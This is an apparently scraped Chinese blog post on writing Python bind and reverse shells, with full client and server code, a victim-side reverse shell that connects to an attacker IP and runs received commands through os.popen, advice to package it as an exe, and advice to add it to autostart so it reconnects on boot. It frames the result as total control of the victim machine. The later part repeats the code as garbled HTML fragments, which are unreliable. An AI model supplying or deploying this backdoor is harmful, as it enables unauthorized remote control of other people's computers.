python shell与反dshell

python shell与反dshell,第1张

概述python shell与反dshell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接反dshell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端,被攻击端是服务端 反dshell,先启用服务端,再启用客户端反dshell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)shell:客户端:import sockets=socket.socket()s.connect(("192.168.0.114",1234)) #连接的服务器的ip地址,端口for i in range(10):com=input("command:")s.send(com.encode()) #发送信息d=s.recv(1024) #接受数据的大小print(d.decode(),len(d))服务端:#服务器端import socketimport oss=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量con,addr=s.accept() #接受一个客户端的连接#print(con,addr)for i in range(10):cmd=con.recv(1024)print(cmd)command=cmd.decode()if command.startswith("cd"):os.chdir(command[2:].strip()) #切换路径result=os.getcwd() #显示路径else:result=os.popen(command).read()if result:con.send(result.encode())else:con.send(b"OK!")测试:(客户端(win10)、服务端(win7))1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件2.在win10运行客户端反dshell:客户端:#反dshell,攻击端是服务端,被攻击端是客户端#正常shell,攻击端是客户端,被攻击端是服务端#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端# 反dshell,先在win10启用服务端,再在win7启用客户端# 反dshell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)# 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接import socketimport osimport sysimport time#print(sys.argv)#hacker=sys.argv[1]hacker="192.168.0.144"port=1234server=(hacker,port)s=socket.socket()s.connect(server)while 1:# 得到被攻击端的所在目录,并发送dir=os.getcwd()#print(dir)s.send(dir.encode())# 接收来自攻击端(服务器端)的命令,并进行处理cmd=s.recv(1024).decode()# 对接收的命令做出判断# 退出if cmd=="exit":breakelif cmd.startswith("cd"):os.chdir(cmd[2:].strip())result="切换目录成功!"else:result=os.popen(cmd).read()if not result:result="命令执行完毕!"s.send(result.encode())time.sleep(1)s.close()print("退出!")服务端:import socketimport timeserver=("0.0.0.0",1234)s=socket.socket()s.bind(server)s.listen(5)con,addr=s.accept()print(addr,"已经接入!")while 1:#接收来自被攻击端的所在目录dir=con.recv(1024).decode()cmd=input(dir+":").strip()con.send(cmd.encode())if cmd=="exit":breakresult=con.recv(65365)print(result.decode())time.sleep(1)s.close()print("退出!")测试:1.先在win10运行反dshell服务端2.再把反dshell客户端打包成exe文件夹,复制到win7中,然后双击运行3.这时可以看到服务端(win10)已经和客户端(win7)连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端 4.接下就可以为所欲为了

 


 

=,1234)) i range(10=input( d=s.recv(1024) (d.decode(),len(d))

=socket.socket() ,1234)) s.Listen(5) con,addr=s.accept()

<span >for i <span >in range(10<span >):
cmd=con.recv(1024<span >)
<span >print<span >(cmd)
command=<span >cmd.decode()
<span >if command.startswith(<span >"<span >cd<span >"<span >):
os.chdir(command[2:].strip()) <span >#<span >切换路径
result=os.getcwd() <span >#<span >显示路径
<span >else<span >:
result=<span >os.popen(command).read()
<span >if<span > result:
con.send(result.encode())
<span >else<span >:
con.send(b<span >"<span >OK!<span >")

  

 

Hacker==1234==<span >while 1<span >:
<span >#
<span > 得到被攻击端的所在目录,并发送

dir=<span >os.getcwd()
<span >#
<span >print(dir)

<span > s.send(dir.encode())
<span >#
<span > 接收来自攻击端(服务器端)的命令,并进行处理

cmd=s.recv(1024<span >).decode()
<span >#
<span > 对接收的命令做出判断

<span >#
<span > 退出

<span >if
cmd==<span >"
<span >exit
<span >"
<span >:
<span >break

<span >elif
cmd.startswith(<span >"
<span >cd
<span >"
<span >):
os.chdir(cmd[
2<span >:].strip())
result
=<span >"
<span >切换目录成功!
<span >"

<span >else
<span >:
result
=<span >os.popen(cmd).read()
<span >if
<span >not
<span > result:
result
=<span >"
<span >命令执行完毕!
<span >"
<span >

s.send(res<a href="https://m.jb51.cc/tag/ul/" target="_blank" >ul</a>t.encode())time.sleep(</span>1<span https://m.jb51.cc/tag/color/" target="_blank" >color</a>: #000000;"&gt;)

s.close()
<span >print(<span >"<span >退出!<span >")

 

=(,1234=5=(addr, 1 dir=con.recv(1024=input(dir+ cmd===con.recv(653651()

 

总结

以上是内存溢出为你收集整理的python shell与反dshell全部内容,希望文章能够帮你解决python shell与反dshell所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/langs/1207909.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-06-04
下一篇2022-06-04

发表评论

登录后才能评论

评论列表(0条)

    保存